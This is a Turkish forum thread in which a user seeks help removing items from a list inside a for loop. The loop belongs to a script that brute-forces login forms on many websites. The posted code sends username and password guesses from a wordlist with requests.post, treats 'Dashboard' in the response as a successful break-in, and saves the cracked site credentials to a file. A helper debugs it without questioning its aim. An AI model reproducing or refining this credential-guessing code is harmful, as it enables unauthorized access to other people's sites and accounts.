For Döngüsünün İçinde Listedeki Şeyi Nasıl Silebilirim ?

Merhabalar… Kod Gereğince For Döngüsü İçinde listedeki Elemanı Silmem Lazım Fakat for döngüsündeki x olucak yani şu şekil:

for x in mesela:
    mesela.remove(x)

Gibi Gibi Bunu Denedim Fakat Olmuyor … Nasıl Yapabilirim

Merhaba, for döngüsü içindeki elemanlardan silmek istediğiniz elemanın özelliğini if koşuluyla belirleyip, şayet döngü içinde bu özelliğe uyan bir öğeye rastlanırsa, öğeyi listeden silebilirsiniz.

1 Beğeni

Yaptığım Şey Tek Tek Sitedeki Kullanıcı Adı Şifreyi Denemek Fakat Silmek İstediğim Elemanın Hangi Özelliğini Yapıcamki ? Biraz Sıkıntı Bir İş…

Siz hangi elemanı silmek istiyorsunuz? Daha doğrusu nasıl bir işlem yapmak istiyorsunuz, biraz daha ayrıntılı anlatabilir misiniz?

Olay Şu Requests.Post Metoduyla Siteye Kullanıcı Adı Şifre Denemesi Yaptırıyorum Bunuda

for x in siteler:
    for i in sifrelerr:

Şeklinde Yapıyorum Ve Eğer Giriş Başarılı Olursa x’i Silmek gerekiyor Yani O An Giriş Yapılmaya Çalışılan Siteyi. Eğer Onu Silerse Diğer Sitelere Giriş Yapmaya Çalışır Ve Buda İşi Hızlılaştırır…

Sizin için bir sakıncası yoksa, incelenebilmesi için, yazdığınız kodları paylaşabilir misiniz?

https://paste.ubuntu.com/26286674/ Buyrun Hocam…

18’inci satırdan 24. satıra kadar olan kısmı alıntılıyorum. Bu alıntının son satırına (25. satıra) aşağıdaki gibi remove komutunu ekleyince olumsuz bir sonuç mu alıyorsunuz?

for x in siteler:
    for i in sifreler:
        try:
            payload = {'log': kullaniciadi, 'pwd': i}
            r = requests.post(x, data=payload,timeout=5)
            if "Dashboard" in r.text or "dashboard" in r.text:
                print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                siteler.remove(x)

Hocam Sorun Vermiyor Fakat Siteyide Silmiyor.

  1. satırda sifrelerr diye bir liste tanımlamışsınız, ancak bu liste cevabın hayır olduğu durumda oluşturuluyor. Sorunun cevabının evet olduğu durumda ise sifrelerr diye bir liste yok ancak aynı durumda for i in sifrelerr diye de bir kod yazmışsınız.

Yanlışınız Var Hocam :slight_smile:

for x in siteler:
    for i in sifreler:
        try:

Bu Yazıyor :slight_smile:

Tamam, sifreler listesi hangi satırda tanımlı, ben göremedim de?

from Scripts.bruteforcewordlist import*

Bu Modülün İçerisinde.

Anladım.

Örneğinizi nasıl kullanacağımı bilmediğim için, başka bir örnek üzerinde, iki farklı liste üzerinde silme işlemini denemeye çalıştım. Ancak tuhaf bir sorunla karşılaştım.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

a = [i for i in range(10)]
b = [i**2 for i in range(10)]

print(a)
print(b)

for i in a:
    for j in b:
        if i == j:
            a.remove(i)
            b.remove(j)

print(a)
print(b)

Bu yazdığım kodlar ile aşağıdaki çıktıyı aldım:

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
[1, 2, 3, 5, 6, 7, 8]
[1, 16, 25, 36, 49, 64, 81]

Yukarıdaki örneğe göre 0, 4 ve 9 her iki listede olduğu için silindiler. Ancak 1 de her iki listede bulunuyor ve silinmemiş. Yani bu yazdığım komut tam anlamıyla istediğim tarzda bir silme işlemi yapmadı. Acaba sizin de sorununuz buna benziyor mu diye düşünüyorum.

Sanırım Bunun Gibi Hocam… Benide Şaşırtıyor Bu Sonuç :slight_smile:

Hımm, sorunla ilgili bir çözüm bulursak, burada paylaşalım. Şimdilik yapabileceğim tek şey, bu sorunun neden oluştuğunu araştırmak olur. Size de kolay gelsin.

        for x in siteler:
            for i in sifrelerr:
                try:
                    siteler.remove(x)

Hocam Böyle Yapınca Sorun Kalkıyor Fakat Bu Olayın Asıl Amacı Program Giriş Yaparsa Kaldırmak… O Yüzden Aklım Hala Karışık…

Ben de neden silmediğini anlamış değilim. Tuhaf bir sorun.

Acaba İlk Siteleri İşleme Aldığımız İçinmi ? Fakat Diğer Türlüde Program İstediğim Gibi Çalışmıyor Diğer Sitelerde Tek Tek Deniyor Şifreleri
Şöyle Birşey Yapsak Nasıl Olur:

if "http:" in siteler:
    for i in sifrelerr:
    try:

Şeklinde Fakat Busefer Siteleri Nasıl Tek Tek Okutucam Aslında .readline Yaparak Her Seferinde Satırları İşleme Alsam ?

else:
    siteler.remove(x)
    print("Hatalı Şifre!", x, i)
    continue

Böyle Yapınca Sorun Halloluyor Fakat Buseferde 1. Satırdakini Silip 2. Satırdakini İşleme Alıp Sonra 3. Satırdakini Silip 4.yü İşleme Alıyor…